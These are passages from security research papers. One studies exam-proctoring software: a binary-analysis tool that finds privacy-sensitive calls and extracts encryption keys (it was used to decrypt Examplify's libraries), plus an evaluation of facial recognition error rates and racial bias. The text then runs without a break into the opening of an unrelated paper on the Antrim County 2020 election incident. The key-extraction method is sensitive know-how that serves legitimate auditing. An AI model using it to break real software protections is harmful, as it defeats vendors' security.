We can detect privacy-sensitive calls such as calls to a
microphone, webcam, or video driver by fingerprinting
common vendor and system library names. We also at-
tempt to extract information about the security features
the exam proctoring suite implements, including whether
it detects virtual machines, uses a secure connection to
reach the back-end server, and encrypts on-disk content.
If on-disk encryption is found, we display the cipher suite
being used and attempt to extract the encryption key and
initialization vector. We do so by searching for keys of
the correct bit length in a user-definable window around
any data references found in the encryption function. For
a more complete analysis, the tool can be run with the
live memory option, which initializes the binary, attaches
the GNU Project debugger (GDB), runs to a user-defined
breakpoint, and then performs the analysis. This allows
for a more complete analysis of libraries and code seg-
ments that are stored encrypted at rest or loaded from a
remote endpoint. A user can view a summary of the bi-
nary’s security and privacy properties or opt for a more
detailed analysis featuring control flow graphs and de-
compilations with Ghidra of relevant code segments.

4.4.2 Evaluation

We evaluate the automated analysis tool on the four suites
to determine whether it accurately identifies relevant se-
curity and privacy information. The tool is evaluated
without using the live memory analysis option. We be-
lieve this would be the most common configuration of
the tool due to the relatively large performance and mem-
ory overhead of searching the entire live memory space
multiple times on consumer hardware.

We find the tool able to correctly identify camera and
microphone usage in all cases aside from a false posi-

580    31st USENIX Security Symposium USENIX Association

https://github.com/WWP22/ProctoringSuiteAnalysisTool
https://github.com/WWP22/ProctoringSuiteAnalysisTool


Race Annotation

Dataset Source # of subjects # of faces In-the-wild White Asian Black Hispanic Indian

MORPH-II Government Data 14K 55K X X X X
Multi-PIE Study Capture 750K 337 X X X
LFWA+ LFW 6K 13K X X X X X
VGGFace2 Image Search 9K 3M X X† X† X† X†

Table 7: Summary of datasets used for the facial recognition accuracy section.

tive triggered when analyzing Electronic Bluebook. This
false positive is due to the inclusion of a large English
dictionary in the binary that incorrectly triggers one of
the vendor searches we run. The relevant function con-
trol flow graph and decompilation is presented to the user,
which would allow the user to trivially identify it as irrel-
evant and subsequently disregard.

The tool performs similarly well with virtual machine
detection, insecure connections, and on-disk encryption,
with results mirroring the results we obtained in our man-
ual analysis. The encryption key Examplify uses is suc-
cessfully extracted and presented to the user along with
a few false positives. We write a simple Python script
to test the encryption keys and initialization vectors the
tool outputs and can successfully decrypt Examplify’s
libraries in under one minute.

Our tool was designed to generalize well to other soft-
ware suites, however, we were not able to obtain other
exam proctoring software to validate this. We leave this
for future work.

Of the features present in the proctoring packages, fa-
cial recognition capabilities are particularly amenable to
tool-based analysis. A rigorous evaluation of such would
require a purpose built tool. This is beyond our scope and
therefore left for future work. We do, however, develop a
detailed methodology that future research can follow for
analyzing algorithmic bias manually.

5 Automated Identity Verification

Traditionally, human verification through simple recog-
nition of a student and identification card checks have
been used to ensure exam integrity. While these checks
could still be conducted in the remote exam suite setting,
reduced staffing costs and an increased capacity for the
number of students that can be verified provide large in-
centives for vendors to move to a fully automated facial

†VMER uses more specific race annotations than the current fed-
eral government standards for collecting and presenting data on race.
We group these more specific annotations as follows using the federal
standards and the NIST FRVT as a guideline: Caucasian Latin→White;
African American→Black; East Asian→Asian; and Asian Indian→In-
dian

recognition system. When facial recognition classifiers
are used to determine who can take an exam or whether a
student is flagged for cheating, it is critical that the system
is accurate and fair.

Using datasets we believe accurately reflect the real-
world images these systems would be operating on, we
evaluate the overall accuracy of current state-of-the-art
facial recognition systems alongside Examplify’s facial
recognition classifier, ‘face-api.js’. The classifiers we
select for comparison against ‘face-api.js’ are based on
their accuracy using Labeled Faces in the Wild (LFW)
[31], the current dataset used most prominently in the
literature for benchmarking the fairness of facial recog-
nition algorithms [21]. This results in a selection con-
taining Facenet [30], VGG-Face [26], OpenFace [1], and
ArcFace [12, 18, 13, 11].

Given that the expertise of remote proctoring firms
is outside AI/ML and that in the current business en-
vironment such firms are unlikely to develop and train
their own models (an assumption borne out by our anal-
ysis of the leading market products), it is reasonable
to select pre-trained, off-the-shelf models for compari-
son. Finally, we conduct an analysis of the error rates
based on the subject’s race to assess the fairness of the
classifier across subjects from different races. We re-
lease our image selections, data processing code, statis-
tical analysis results and classifier performance data at
github.com/WWP22/AIVerify.

5.1 Accuracy

Based on Examplify’s identity verification system, we
separate the facial recognition steps an exam proctoring
suite would need to perform into two steps: (1) the ini-
tial verification against a student’s identification photo to
bootstrap their identity and (2) the continuous verification
to ensure the student who verified their identity initially
continues to take the entire exam.

Dataset Selection We select MORPH-II [29], Multi-
PIE [16], LFWA+ [24] and VGGFace2 [7] as our datasets
for evaluation of facial recognition classifier performance,
using images very similar to ones likely encountered dur-
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FNMR FMR

Classifier # of subjects # of comparisons # of subjects # of comparisons

MORPH-II 13K 42K 14K 681K
Multi-PIE 264 81K 264 172K
LFWA+ 1.7K 7.4K 5.7K 287K
VGGFace2 9.1K 457K 9.1K 457K

Table 8: Summary of the sub-sampled datasets used for the false non match rate (FNMR) and false match rate (FMR)
initial verification analysis.

ing real-world use. A full description of the datasets can
be found in Table 7.
Metric Selection The false non match rate (FNMR) and
the false match rate (FMR) are the primary proxies for
demonstrating the effect various facial recognition classi-
fiers have on the user. The FNMR demonstrates the rate
at which the facial recognition system would fail to ver-
ify a student and the FMR demonstrates the rate at which
the system would falsely verify a different person as the
student. Ideally, we would extract these directly from the
exam proctoring suite, but this was out of our reach as
we were unable to obtain the required accounts. Instead,
we base our approach off of the method Examplify im-
plements to detect cheating, which relies on the shortest
distance (the Euclidean distance) between feature vec-
tors on a reference face and the current face. We use a
selection distance of 0.60 to mirror Examplify’s cut-off
distance for cheating. We also use a Z-test to calculate the
p-value between the different feature distance data-points
to determine whether we can draw statistically signifi-
cant conclusions (customarily p < 0.05) about classifier
performance. These metrics are used in other key facial
recognition accuracy studies such as the NIST FRVT [17],
allowing our results to be easily comparable.

5.1.1 Initial Verification

Initial identity verification in a remote exam setting relies
on comparing a known image of the subject (likely a
school ID or driver’s license) to a capture of the subject
trying to take the exam. This can present background,
lighting, and age progression challenges for the facial
recognition classifier.
Image Selection We select images from each of the
above datasets to create sub-sampled datasets for our
FNMR and FMR evaluation. We create our FNMR
datasets by selecting the earliest capture of each subject
in the dataset as our reference image. We use up to 50
images from subsequent captures of the same subject to
compare against. The extended length of time between
subsequent captures in the Morph-II, LFWA+, and VG-
GFace2 datasets make them useful for the initial iden-

tity verification comparison since institutions commonly
use the student’s driver’s license as the reference image,
which has an average photo refresh time of 5.7 years [37].
For the Multi-PIE dataset we select subjects who attended
multiple sessions, using each subject’s first attended ses-
sion as the reference image and up to three of their subse-
quent session images as comparison images. Use of these
Multi-PIE captures provides insight on whether more re-
cent reference images improve the performance of the fa-
cial recognition classifier. We create the datasets we use
for evaluating the FMR by selecting the earliest subject
capture as the reference image and 50 earliest captures of
other subjects as comparison images. Table 8 summarizes
these sub-sampled datasets.
Classifier Performance High FNMRs occur across all
the datasets evaluated for both the SOTA classifiers and
‘face-api.js’. When run on datasets that are in-the-wild
versus those with more constrained capture conditions,
significantly elevated FNMRs occur across all the classi-
fiers except VGG-Face. We see a large difference in the
FNMRs between the Morph-II and Multi-PIE datasets for
the ‘face-api.js’ classifier, which suggests that the time
between the reference image and the comparison image
may not be a major factor in classifier performance. Over-
all, we see an inverse relationship between the FNMR and
the FMR such that an algorithm less likely to fail at iden-
tifying a correct student would be more likely to verify an
imposter (hired test-taker). We summarize these findings
in Table 9.

We select the SOTA algorithm that achieved the best
overall FNMR, VGG-Face, and compare the mean fea-
ture distances to ‘face-api.js’. We note ‘face-api.js’
produces better average feature distances compared to
VGG-Face over Morph-II with meand = 0.257 versus
meand = 0.533 (p = 1.44 ∗ 10−133). We see VGG-Face
out perform ‘face-api.js’ on all of the other datasets with
a maximum meand = 0.234 compared to a maximum
meand = 0.474 (p = 6.96 ∗ 10−84). For a goal of mini-
mizing FNMR, VGG-Face’s performance suggests that it
would likely be the more reliable algorithm.
Analysis The high FNMRs evidenced make any of
the evaluated classifiers inappropriate for use in an auto-
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MORPH-II Multi-PIE LFWA+ VGGFace2

Classifier FNMR FMR FNMR FMR FNMR FMR FNMR FMR

Facenet 7.5% 14% 9.2% 50% 14% 2.9% 17% 2.0%
VGG-Face 4.1% 78% 1.9% 83% 2.8% 68% 3.4% 42%
OpenFace 5.7% 72% 8.6% 77% 12% 62% 11% 63%
ArcFace 12% 2.2% 11% 48% 24% 0.54% 23% 1.2%
FaceAPI 0.66% 21% 9.2% 19% 22% 0.69% 14% 0.42%

Table 9: FNMR and FMR averages across various datasets using both state of the art algorithms and ‘face-api.js’.
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Figure 2: False Non Match Rate (FNMR) of subjects at
various facial rotations ranging from -90° to 90°.

mated facial recognition setting due to the extreme cost to
a student unable to be verified. Exam proctoring vendors
can attempt to reduce the error rate by selecting classi-
fiers with the lowest FNMR, however, these classifiers all
present much higher FMRs, suggesting they provide little
more than security theater. Using more recent trusted ref-
erence images had minimal impact on the FNMR when
compared to using images captured over longer time peri-
ods. This minimizes an institution’s ability to mitigate the
high FNMR by collecting more recent reference images.

5.1.2 Continuous Verification

Continuous identity verification works to ensure the ini-
tially verified student takes the entire exam and is not re-
placed by another person. The student’s recent reference
image, verified during initial verification, is compared
to subsequent captures taken silently at random intervals
during the exam. These unprompted captures create chal-
lenges for the facial recognition classifier since the stu-
dent’s facial rotation, expression, and lighting may all

vary from the prompted reference image taken in a con-
trolled fashion.
Image Selection We create subsets from the Multi-PIE
dataset for evaluating FNMRs based on varying facial
rotations, facial expressions, and lighting. Each dataset
contains 151K, 104K, and 131K samples respectively,
with 337 subjects each.
Classifier Performance Analyzing classifier perfor-
mance based on the FNMR for variable facial rota-
tions, we find the SOTA classifiers and ‘face-api.js’ are
roughly equivalent up to a 30 degree rotation but diverge
thereafter, with ‘face-api.js’ maintaining a relatively low
FNMR up to 60 degrees. The SOTA classifiers, except
VGG-Face, fail to verify most subjects once the rotation
reaches 60 degrees, while ‘face-api.js’ still verifies over
a 75-degree rotation. Figure 2 shows the relationship be-
tween facial rotation and classifier performance. There
is minimal variation from the average FNMR discussed
in Section 5.1.1 when the subject changes their facial ex-
pression. Classifier performance falls off sharply as the
lighting conditions differ more significantly from the ref-
erence image. ‘Face-api.js’ underperforms VGG-Face
when evaluating images taken under varying lighting con-
ditions but outperforms all the other SOTA classifiers.
Appendix A provides a full description of the FNMR per-
formance on these datasets.

Analyzing classifier performance based on feature dis-
tance, we use the SOTA algorithm with the best FNMR,
VGG-Face, and compare it to ‘face-api.js‘. We find VGG-
Face achieves better feature distances at +/- 15, 30, 75,
and 90 degrees with an average meand = 0.376 com-
pared to an average meand = 0.475 (p = 4.26 ∗ 10−05).
‘Face-api.js’ achieves better average feature distances at
+/- 45 and 60 degrees with an average meand = 0.451
compared to an average meand = 0.490 for VGG-Face
(p = 5.54 ∗ 10−20). The variable performance between
VGG-Face and ‘face-api.js’ as the facial rotation changes
precludes us making a reliable recommendation on which
one would perform better in a testing scenario.
Analysis The classifiers exhibit increased FNMRs once
tasked with comparing images in challenging lighting or
facial rotation conditions. Students taking an exam in

USENIX Association 31st USENIX Security Symposium    583



MORPH-II LFWA+ VGGFace2
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Facenet 6.8% 9.7% 15% 10% 15% 15% 9.5% 14% 26% 17% 17% 15%
VGG-Face 3.6% 5.2% 11% 7.4% 1.4% 2.9% 2.7% 0.58% 1.9% 3.6% 3.1% 3.4%
OpenFace 6.0% 4.6% 9.5% 3.8% 13% 12% 10% 18% 18% 10% 14% 7.1%
ArcFace 11% 13% 23% 11% 30% 24% 15% 27% 34% 21% 27% 19%
FaceAPI 0.57% 1.1% 0.0% 0.1% 23% 22% 18% 21% 20% 13% 14% 11%

Table 10: FNMR averages across various datasets using both state of the art algorithms and ‘face-api.js’.

good faith over long exam periods have images that rea-
sonably exhibit lighting and facial position variation, es-
pecially since captures are taken without notice. The FN-
MRs suggest that a significant number of students would
fail to be verified correctly even in the less extreme condi-
tions and almost all the students would fail to be verified
correctly in the more extreme cases. The variance in light-
ing seen was on the more extreme side but not outside the
realm of real-world exam environments, where exams
can start in daylight and end after dark.

5.2 Fairness
When forms of identity verification are used as part of ex-
amination procedure, expending every effort to minimize
bias is critical to promoting exam fairness.
Dataset Selection We select MORPH-II and LFWA+
as they provide labels of a subject’s race in the original
dataset and VGGFace2 as labels are available through
additional studies such as VGG-Face2 Mivia Ethnicity
Recognition (VMER) [15]. Multi-PIE is not included in
this section due to the limited number of subjects in some
of the races we analyze.
Metric Selection The FNMR metric, which potentially
flags a student for cheating, is utilized in this section since
it reflects the most negative impact on the student.
Classifier Performance On the Morph-II dataset, all
classifiers except OpenFace flag ‘White’ subjects at a
slightly higher rate than ‘Black’ subjects. Across races,
‘Asian’ subjects are flagged at higher rates in all classifiers
except ‘face-api.js’.

On the LFWA+ dataset, higher FNMR values for
‘Black’ subjects versus ‘White’ subjects occur for all the
classifiers except VGG-Face and Facenet. ‘Black’ sub-
jects have higher FNMRs compared to ‘Asian’ subjects
across all classifiers except VGG-Face. They also have
higher FNMRs compared to ‘Indian’ subjects across all
classifiers except OpenFace. Compared to other races,
‘Asian’ subjects have lower FNMR values across all clas-
sifiers run on LFWA+ except VGG-Face and Facenet.

On the VGGFace2 dataset, all classifiers except VGG-
Face yield higher FNMR values for subjects labelled as
‘Black’ versus ‘White’, ‘Asian’, or ‘Indian’. ‘Indian’ sub-
jects have the lowest FNMRs across all races using all
classifiers except VGG-Face on the VGGFace2 dataset.
While lower FNMRs are seen on ‘Asian’ subjects com-
pared to ‘White’ subjects with LFWA+, elevated FNMRs
occur on the ‘Asian’ group compared to the ‘White’ group
using the VGGFace2 dataset except with the Facenet and
VGG-Face classifiers. A summary of these results can be
seen in Table 10.

We compare the mean feature distance within the ‘face-
api.js’ classifier for subjects from each race to deter-
mine if we see the performance vary based on the sub-
ject’s race. Across the Morph-II dataset, we see mi-
nority groups with a reduced average feature distance,
meand = 0.321, compared to the ‘White’ group, meand =
0.387 (p = 2.63 ∗ 10−05). Across the LFWA+ dataset,
we see a reduced mean feature distance for the ‘Asian’
group, meand = 0.494, compared to the ‘White’ group,
meand = 0.550 (p = 2.40 ∗ 10−12). We cannot draw
conclusions about the performance of the other minor-
ity groups compared to the ‘White’ group (p = 0.815).
Across the VGGFace2 dataset, we see the ‘Black’ group
exhibit a significantly worse feature distance, meand =
0.499, compared to the feature distance for the ‘White’
group, meand = 0.475 (p = 3.12 ∗ 10−130). We draw
the opposite conclusion when comparing the other mi-
nority groups, meand = 0.449, to the ‘White’ group
(p = 4.56 ∗ 10−36). The difference in the performance
when looking at mean feature distance versus FNMR can
be attributed to the higher variance on the minority groups
for VGGFace2 compared to the ‘White’ group.

Analysis We see variations in the performance of the
different classifiers depending on the race of the subject
being analyzed. In the large VGGFace2 and LFWA+
datasets, we see higher FNMRs for subjects labelled as
‘Black’ versus ‘White’ except with the VGG-Face classi-
fier. Similar disadvantage for subjects tagged as ‘Asian’
compared to those tagged as ‘White’ occurs on the VG-
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GFace2 dataset except for with the VGG-Face classifier.
This demonstrates the propensity for minority groups to
be flagged at higher rates than other groups depending on
the capture conditions. Additionally, we see major vari-
ance in FNMR between subjects of different races based
on the dataset, demonstrating the difficulty of correcting
for this in the software using the classifier.

5.3 Evaluating Real-World Implementa-
tion

Examplify uses the ‘face-api.js’ classifier for facial recog-
nition, with a pre-trained publicly available model inside
the exam proctoring suite. We see in Section 5.1 that
‘face-api.js’ was quite inaccurate overall with an aver-
age FNMR of 11.47% when evaluated on datasets we
believe accurately reflect images it would be running on
during a live exam. We also noted statistically signif-
icant improvements in performance in VGG-Face over
‘face-api.js’ when comparing the mean feature distance
over our unconstrained datasets. This suggests that Ex-
amplify needs to perform further evaluation of their clas-
sifier choice. In Examplify’s implementation, the initial
verification step acts as a gatekeeper for the student to
be able to take the exam. The high average FNMR sug-
gests that this would disadvantage numerous students at-
tempting to take their exam. We see similarly concerning
performance on the continuous verification task run in
the background during an exam if enabled by the institu-
tion. Realistic variations in the capture conditions such
as face rotation or lighting changes could cause the im-
age to fail to be verified, flagging the student’s exam for
human review. Depending on how this is presented to
the proctor for human review, this may unfairly bias the
proctor against the student with a presumption of guilt.

We see variations in the performance of the ‘face-api.js’
classifiers depending on the race of the subject with some
minority groups being disadvantaged in LFWA+ and VG-
GFace2 datasets. This suggests that the automated facial
recognition system may be unfairly disadvantaging cer-
tain students based on their race by not allowing them to
take their exam or by presenting their exam for human
proctor review at a higher rate than other non-minority
students in certain cases. Given the variability and bias
in the facial recognition steps, we believe a human-based
verification model is a fairer approach to ensuring exam
integrity.

If an automated classifier is to be used, we recommend
training models on a dataset that contains a balanced sam-
pling of subjects from different races versus using pre-
trained default models. We also recommend evaluating
the performance of the classifies on datasets that realis-
tically represent the use case of the system. Classifier
performance cannot be accurately assessed just using an

overall performance metric without looking at that per-
formance metric across subjects from different races to
determine whether the classifier is acting fairly.

We were only able to analyze the local facial recogni-
tion component of the Examplify proctoring suite since
an instructor account could not be obtained. Further ver-
ification steps may be conducted on the server-side to
minimize the high FNMR seen on the client-side imple-
mentation. Without an Examplify instructor account with
facial recognition features enabled, we could not verify
whether this further validation is being performed.

6 Discussion

Impact on Marginalized Groups Minorities and other
marginalized groups are traditionally underrepresented
in the legal profession. Exam software with built-in
skin-tone biases creates an invisible barrier. This occurs
both in the intuitive case where minorities are flagged
for cheating at higher rates and where they are flagged
at substantially lower rates. Opponents of affirmative ac-
tion have erroneously argued that minorities are not able
to cope with the rigor of law school. By using software
that flags minority students substantially less, such op-
ponents will continue to cast doubt on the validity and
competence of minority students. Thus, substantial bias
in either direction can perpetuate systemic racism. This
may harm the chances of minority students trying to enter
the legal profession.

Law schools, bar associations, and other educational/li-
censing institutions must investigate and commission re-
search into inherent bias in the exam software they utilize
to prevent discrimination in exam administration.
Fundamental Challenges of Remote Examination Re-
mote exam proctoring suites suffer from fundamental lim-
itations in the threat model they can protect against since
they run on untrustworthy student hardware versus exam
hall hardware. The student has full administrative access
and will always be able to bypass security features and
monitoring schemes given enough time. Exam proctor-
ing suite vendors can attempt to increase the time and
skill level necessary to compromise the exam by adding
complexity to the process through obfuscation and active
anti-debugging measures.

To create a truly secure remote exam proctoring suite,
a vendor needs to establish a trusted environment on the
device that restricts the student’s ability to extract or mod-
ify part of the exam suite. Intel SGX and other similar
trusted execution environments could potentially be em-
ployed to ensure a secure environment. However, this
would involve a major engineering undertaking and in-
troduce additional usability concerns. Furthermore, Intel
has recently announced the deprecation of SGX in con-

USENIX Association 31st USENIX Security Symposium    585



sumer chips as a result of ongoing security issues with
the technology [10].
Risks of Privileged Software All the software we
evaluated required privileged system access. Operating
systems increasingly restrict such access as it is a com-
mon source of malfeasance. Buggy but well-intentioned
code given such access substantially broadens the attack
surface of the OS and serves as a glaring target. Experts
urge against granting such access even to third-party an-
tivirus software [2]! Compounding the problem, students
are likely to be unaware that privileged system services
from the proctoring packages do not uninstall automati-
cally and persist after the exam is over [4], putting them
at long term risk.

Privacy, Surveillance, and Ethical Concerns Attempt-
ing to meet their design goals, platforms engage in sweep-
ing surveillance. Keylogging, screen captures, drive ac-
cess, process monitoring, and A/V feeds give their soft-
ware access to personal data stored on the device. Outside
this context, these features appear only in malware, high-
lighting the unusual capabilities of these software suites.
Some binaries also include anti-debugging mechanisms
in their code, further limiting the ability of student advo-
cates to assess the security and safety of the software.

The context in which students are required to install
proctoring software mitigates their ability to meaning-
fully consent to the substantial impositions on their pri-
vacy and security. A veneer of platform legitimacy is
conveyed by the institutional backing of the school or
testing company. Trust in institutions, Balash, E T A L .
[4] found, substantially reduces student willingness to ob-
ject to remote proctoring. Even if they did, students are
not provided with a reasonable alternative.
Recommendations Our strongest recommendation is
that where allowable, educators design assessments that
minimize the possible advantage to be gained by cheat-
ing. Project work, open book essays, or other assessment
modes featuring unrestricted resource access yield fewer
opportunities to gain unfair advantage.

Where re-imagining assessment is not possible, stu-
dents should be offered a meaningful chance to opt-out of
digital testing on their own hardware and should be given
the choice of either using provided hardware or paper-
copy and live proctoring. Furthermore, the substantial
effort schools expend to help students install proctoring
software should be matched with equal efforts to help
them uninstall it, while advising them of the risks of re-
taining it.

We recommend against the use of facial recognition
systems. Where infeasible, secondary human review
should be conducted by multiple diverse individuals to
reduce human biases as well. Lastly, if current classi-
fiers are going to see continued use, candid conversation
regarding generalized differences in facial features be-

tween racial groups needs to be addressed by program-
mers through dialogue with racially diverse focus groups
and accounted for in calibration settings to reduce the
incidence of false identification.
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A Continuous Verification Performance

The average FNMRs of the five facial recognition classifiers across sub-sampled datasets we created using the Multi-PIE
dataset are presented to illustrate classifier performance in a continuous verification setting.

A.1 Average FNMR

Multi-PIE Dataset

Classifier Session Facial Rotation Lighting Facial Expression

Facenet 9.2% 48% 20% 9.4%
VGG-Face 1.9% 26% 2.3% 2.1%
OpenFace 8.6% 39% 11% 7.7%
ArcFace 11% 58% 14% 11%
FaceAPI 9.2% 22% 8.7% 9.6%

This table summarizes the average FNMRs of the five classifiers when tested on ‘Session’, ‘Facial Rotation’, ‘Light-
ing’, and ‘Facial Expression’ sub-sampled datasets. Reduced average FNMRs occur with the ‘Session’, ‘Lighting’, and
‘Facial Expression’ datasets compared to the ‘Facial Rotation’ dataset. This is likely because the average number of
facial features being occluded by any of these variations is less than when the subject’s face is rotated away from being
centered with the camera.

A.2 Facial Rotation

Rotation

Classifier -90 -75 -60 -45 -30 -15 15 30 45 60 75 90

Facenet 73% 72% 69% 45% 21% 9.0% 7.2% 19% 47% 69% 73% 73%
VGG-Face 35% 49% 44% 17% 6.2% 4.5% 3.2% 5.0% 22% 41% 37% 45%
OpenFace 72% 50% 57% 36% 11% 5.0% 4.2% 9.9% 42% 50% 63% 73%
ArcFace 91% 90% 85% 53% 19% 9.9% 7.4% 19% 58% 85% 90% 91%
FaceAPI 80% 32% 7.3% 1.6% 2.8% 0.84% 1.2% 5.8% 2.8% 9.5% 42% 79%

This table depicts the average FNMRs of the five classifiers when tested on facial rotations of +/- 15, 30, 45, 60, 75,
and 90 degrees. The average FNMR increases as the facial rotation increases, most likely due to more facial features
being hidden in the image.

A.3 Session & Lighting

Session Gap Lighting

Classifier 1 2 3 00 04 12 16

Facenet 10% 9.2% 8.0% 34% 15% 17% 13%
VGG-Face 2.1% 1.8% 1.8% 1.1% 2.7% 2.4% 3.0%
OpenFace 9.3% 8.4% 7.7% 13% 12% 12% 8.4%
ArcFace 12% 10% 9.2% 15% 15% 15% 13%
FaceAPI 10% 8.9% 8.3% 17% 7.2% 8.2% 2.9%

This table depicts the average FNMRs of the five classifiers across images taken in different capture sessions and
lighting conditions. The session gap refers to the number of sessions between the reference image and the comparison
image. The expectation of the average FNMR increasing as the session gap increased was not evident with any of the
classifiers. This suggests that the time between captures is less important than other factors. The average FNMR for
Facenet, OpenFace, and ‘face-api.js’ degraded under one of the worst lighting conditions in the Multi-PIE dataset, ‘00’,
which corresponds to a 90 degree lighting angle. Similar degradation when testing against the mirrored condition, ‘16’,
did not occur suggesting that performance in bad lighting conditions is very variable across most of the classifiers.
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The Antrim County 2020 Election Incident:
An Independent Forensic Investigation

J. Alex Halderman∗

University of Michigan

Abstract
In November 2020, Antrim County, Michigan published un-
official election results that misstated totals in the presiden-
tial race and other contests by up to several thousand votes.
Antrim subsequently issued a series of corrections, and the
certified presidential results were confirmed by a hand count.
Nevertheless, Antrim was cited by the President of the United
States as evidence of widespread fraud, and it remains a cen-
terpiece of conspiracy theories about the 2020 election. At
the request of the Michigan Secretary of State and Attorney
General, I performed a forensic investigation of the incident.
Using data from the election system, I precisely reproduce the
major anomalies, explain their cause, and verify that they have
been corrected. I also uncover other errors affecting specific
down-ballot contests that have not been corrected, despite the
unusual attention focused on the results, one of which may
have changed the outcome of a local contest. Based on this
analysis, I refute misinformation about the incident, conclud-
ing that it was not the result of a security breach but rather
a series of operator errors compounded by inadequate pro-
cedures and insufficiently defensive software design. These
events offer lessons for improving election administration
and highlight the value of rigorously investigating election
technology incidents for enhancing accuracy and public trust.

1 Introduction
On the night of the November 3, 2020, general election,
Antrim County, Michigan, published wildly inaccurate results.
Totals in the presidential race and other contests were initially
misreported by up to several thousand votes [40], and over the
next three weeks, the county restated its results four times to
correct this and other errors (see Table 1). Antrim’s presiden-
tial results have since been confirmed by a county-wide hand
count of the paper ballots [32] and affirmed by a state-wide
risk-limiting audit pilot [35]. Nevertheless, they remain a cen-
terpiece of conspiracy theories about the 2020 election [12].

∗This paper is derived from a report that the author produced as an expert
witness under contract to the Michigan Department of Attorney General, avail-
able at https://www.michigan.gov/documents/sos/Antrim_720623_7.pdf.

Shortly after the election, a state court authorized Rus-
sell J. Ramsland, Jr.’s Allied Security Operations Group
(ASOG) [14] to conduct a forensic analysis of Antrim’s elec-
tion technology [16]. ASOG purported to find that “the Do-
minion Voting System is intentionally and purposefully de-
signed with inherent errors to create systemic fraud and in-
fluence election results” [24]. ASOG’s report was repeatedly
cited by President Trump as evidence of widespread fraud
against him [42], and it was the basis for a draft executive or-
der, recently obtained by the Congressional committee investi-
gating the events of January 6, 2021, that would have directed
the Secretary of Defense to seize voting machines [43].

Michigan’s Secretary of State and Attorney General asked
me to perform an independent technical investigation and
respond to the ASOG report. I sought to answer several ques-
tions: What caused the errors? Were they evidence of an attack
or other foul play? Had they been fully corrected? Could sim-
ilar problems affect other localities? What should be done to
prevent such issues in the future?

By analyzing data from Antrim County’s election man-
agement system (EMS) and the memory cards from its ballot
scanners, I was able to reconstruct the events that led to the ini-
tial erroneous results, precisely account for the known discrep-
ancies, and identify the underlying causes. I determined that:

• Initial explanations provided by the county [2] and the
state [34] were correct that the inaccurate results were a
consequence of human error, but the problems were more
complex than was at first understood. A chain of human
errors was compounded by gaps in election procedures
and their adherence. The election software also could
have done more to help election staff avoid mistakes.

• Although vulnerabilities in election technology are well
documented (see, e.g., [23, 38]), the Antrim incident was
not caused by a security breach, and there is no credible
evidence that it was caused deliberately. Nevertheless, I
note several places where security should be improved.

• The major discrepancies in Antrim’s results have been
fully corrected. The final results match the poll tapes
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printed by the individual ballot scanners, and there is no
indication that the poll tapes are inaccurate, except for
in specific precincts where particular circumstances I ex-
plain affected small numbers of votes or down-ballot con-
tests. These residual errors affect too few votes to change
any outcome except in one local contest, the Central
Lake Village Marihuana Retailer Initiative, which was
potentially decided incorrectly due to a one-vote error.

The incident in Antrim arose due to the county’s mishan-
dling of last-minute ballot design changes, a circumstance that
is unlikely to have occurred widely during the 2020 election.
Nevertheless, several layers of protections that are supposed
to ensure accuracy broke down due to human errors on multi-
ple levels, including mistakes by county staff and poll workers
while operating the election technology, procedural missteps
while processing ballots in some localities, and the failure
of the county canvassers to detect lingering discrepancies.
These failings suggest a need for greater oversight of county
and local election administration. I also recommend several
changes to election technology and procedures in order to
better guard against similar problems in future elections.

Beyond explaining the incident, this investigation offers
a template for technical analysis of future election mishaps.
Problems involving election technology gain public attention
in nearly every election cycle, but they are rarely formally in-
vestigated. This makes such problems more likely to reoccur
and leaves fertile ground for misinformation. Normalizing
postmortem investigations is an opportunity for election offi-
cials to display rigor, transparency, and a drive for continuous
improvement, and it would enhance accuracy and public trust.

Organization In Section 2, I describe Antrim County’s vot-
ing system and the data from it that I examined. In Section 3, I
investigate and explain the discrepancies that occurred during
county-level reporting. In Section 4, I uncover and explain
discrepancies that occurred on poll tapes from individual scan-
ners. In Section 5, I refute false claims in the ASOG report.
I conclude in Section 6 and offer recommendations for pre-
venting and responding to problems in future elections.

2 Background
Antrim uses Dominion Voting Systems ImageCast Precinct
(ICP) ballot scanners and the Dominion Democracy Suite elec-
tion management system (EMS). The EMS software runs on
a single PC and manages election preparation and reporting.
Antrim uses version 5.5 of the Dominion system, which is fed-
erally certified by the U.S. Election Assistance Commission
(EAC) [44]. Elections in Antrim typically operate as follows:

1. Preparation. Workers design the ballots using the EMS
software [17]. They create an “election project” (a
database corresponding to the election) and define con-
tests and choices for each precinct. The EMS generates
ballot designs for printing and “election definition” files
for use by the scanners. Like most Michigan counties,

Results published on: Difference:

11/4 11/5 11/6 11/16 11/21
b−a c−b d − c e−d

(a) (b) (c) (d) (e)

Pr
es

id
en

t

Biden 7769 7289 5960 5960 5960 −480 −1329 0 0
Trump 4509 9783 9748 9748 9748 5274 −35 0 0
Jorgensen 93 197 189 189 189 104 −8 0 0
Blankenship 20 22 16 16 16 2 −6 0 0
De La Fuente 12 8 8 8 8 −4 0 0 0
Hawkins 20 28 28 28 28 8 0 0 0

U
.S

.S
en

at
or Peters 7863 6807 5441 5758 5758 −1056 −1366 317 0

Squier 47 81 79 83 86 34 −2 4 3
James 4484 9345 9340 9924 9924 4861 −5 584 0
Willis 91 960 81 82 82 869 −879 1 0
Dern 19 26 26 27 27 7 0 1 0

U
.S

.
R

ep
. Ferguson 7745 6603 5235 5235 5235 −1142 −1368 0 0

Bergman 4794 10344 10292 10292 10292 5550 −52 0 0
Boren 125 266 263 263 263 141 −3 0 0

St
at

e
R

ep
. Burke 7697 6143 4800 4800 5578 −1554 −1343 0 778

Borton 4529 8772 8761 8761 9936 4243 −11 0 1175

Table 1: Election Results. Antrim published five sets of results, each
with widespread differences [3–7]. Some totals more than doubled,
and many gained or lost over 1,000 votes. The first four contests are
shown above, but most of the others were at least initially in error too.
My analysis shows that report (a) was badly incorrect due to the use
of mismatched election definitions; (b) added results entered by hand
but failed to remove all bad data; (c) fixed this, but the manual inputs
contained data entry errors, which were corrected in (d) and (e).

Antrim outsources these steps to a service provider, Elec-
tionSource, which sends the county an “election pack-
age” containing the election project, ballot designs, and
election definitions. The county imports these into its
EMS and loads the election definitions onto memory
cards [17]. Townships insert the cards into their scanners
and perform logic and accuracy (L&A) testing by scan-
ning marked ballots and confirming the results [27, 30].

2. Voting and counting. Vote counting begins on election
day. In-person voters insert their own ballots into the
scanners, which tabulate the selections. For absentee
ballots, most localities have poll workers feed them
into the same scanners used for in-person voting. The
scanners count votes by detecting marks in particular
ballot locations (called “voting targets”) specified by the
election definition. For each ballot, the scanner records
on its memory card which voting targets were marked.
